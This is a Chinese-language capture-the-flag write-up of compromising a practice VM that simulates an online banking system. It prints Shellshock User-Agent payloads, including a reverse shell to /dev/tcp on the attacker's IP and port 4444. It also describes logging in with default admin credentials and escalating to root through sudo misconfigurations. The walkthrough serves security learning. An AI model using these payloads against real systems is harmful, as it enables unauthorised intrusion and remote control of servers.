# 前言

这两天不知道为什么,突然对手工很感兴趣,沉迷于各种教学视频,所以我 github 百连好像又断了,很难受,今天这个靶机是一个模拟在线银行系统的靶机,难度不大,被分到中级 emmmm 可能是漏洞老?

# 靶机描述

难度:中等

目标:获取 Root 权限的 sehll

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • WEB 目录爬取
  • 开源源码泄漏
  • 默认帐号密码
  • 业务逻辑漏洞
  • SQL 注入
  • 破壳漏洞
  • GTFOBins 提权

虚拟机:

  • 格式: 虚拟机 (Virtualbox OVA)
  • 操作系统: Linux.

联网:

  • DHCP 服务:已启用
  • IP 地址自动分配

# 攻击流程

# 信息收集

两台靶机都是开桥接模式连接到我的手机热点上(校园网不让桥接,哭死),这里先做主机存活发现

image-20230724173637528

然后做主机端口探测

image-20230724182105109

可以看到 22 端口是一个 OpenSSH7.9 的 ssh 服务,80 是一个 Apache2.4.38 的 httpd 服务,这里访问 80 端口先查看一下

image-20230724183610290

一个登录页面,在查看各个页面的源代码的时候,发现了在 news.php 上面有一个 cgi-bin

image-20230724190656417

这里看到这个给我的第一反应就是破壳漏洞(感谢 ctfshow 的折磨)

image-20230724191024414

这里看到返回 403,看来还是有机会利用的,简单扫描一下目录

image-20230724185254638

这里发现有一个 readme.md 文件,访问下载这个文件

image-20230724185430149

很显然这是一个在 github 上面开源的项目,zakee94/online-banking-system: Online banking system in PHP & MySQL accompanied by a beautiful website ! (github.com)

image-20230724191636822

翻阅这个项目的时候看到了这样的信息

image-20230724191823077

很可惜登录失败了,当然这只是普通用户的登录失败了

image-20230724191953175

admin_login.php 的登录是十分顺利的,登录上来后,看见了有四个用户

image-20230724192754480

也尝试去登录了一下,也没有成功

# 破壳漏洞

这边也是翻了很多的地方,都没有找到能突破边界的方法,所以我又将目光放回到刚刚提到的破壳漏洞,扫描一下 cgi-bin 目录下的文件

image-20230724193920959

虽然他 500,但是这证明是有这个文件的,但是服务器对请求出现了问题,这个文件名也无法让人不去关注

这里使用 nmap 对破壳漏洞的检测脚本做一个扫描

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.13.194

image-20230724194442360

可以看到存在破壳漏洞,而且可以利用,cve2014-6271,在 ua 头中使用 payload

() { :; }; echo; echo; /bin/bash -c 'whoami'

image-20230724194929844

可以看到命令成功执行了,接下来反弹一个 shell

() { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.13.249/4444 0>&1'

image-20230724195504515

image-20230724195518229

# 提权

这里看到 sudo 权限配置,有一个 sh 脚本是不需要密码的

image-20230724195644166

去详细看一下这个文件

image-20230724195903070

发现没有权限,这里 sudo 来直接执行这个文件

image-20230724200047573

但是很奇怪一直有点问题,不知道要干什么,我翻阅了一下别人的文档,发现我忘记升级 shell 了

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20230724200704671

好吧,突然就合理了,这里可以看到,会将 massage 中的命令执行,这里直接执行 bash

image-20230724201231245

这里就拿到了一个高一点的权限

image-20230724201315652

这里查看的时候发现了 cat 和 service 不用密码可以 sudo,这里见到 server 可以就直接宣布下班了

image-20230724201539267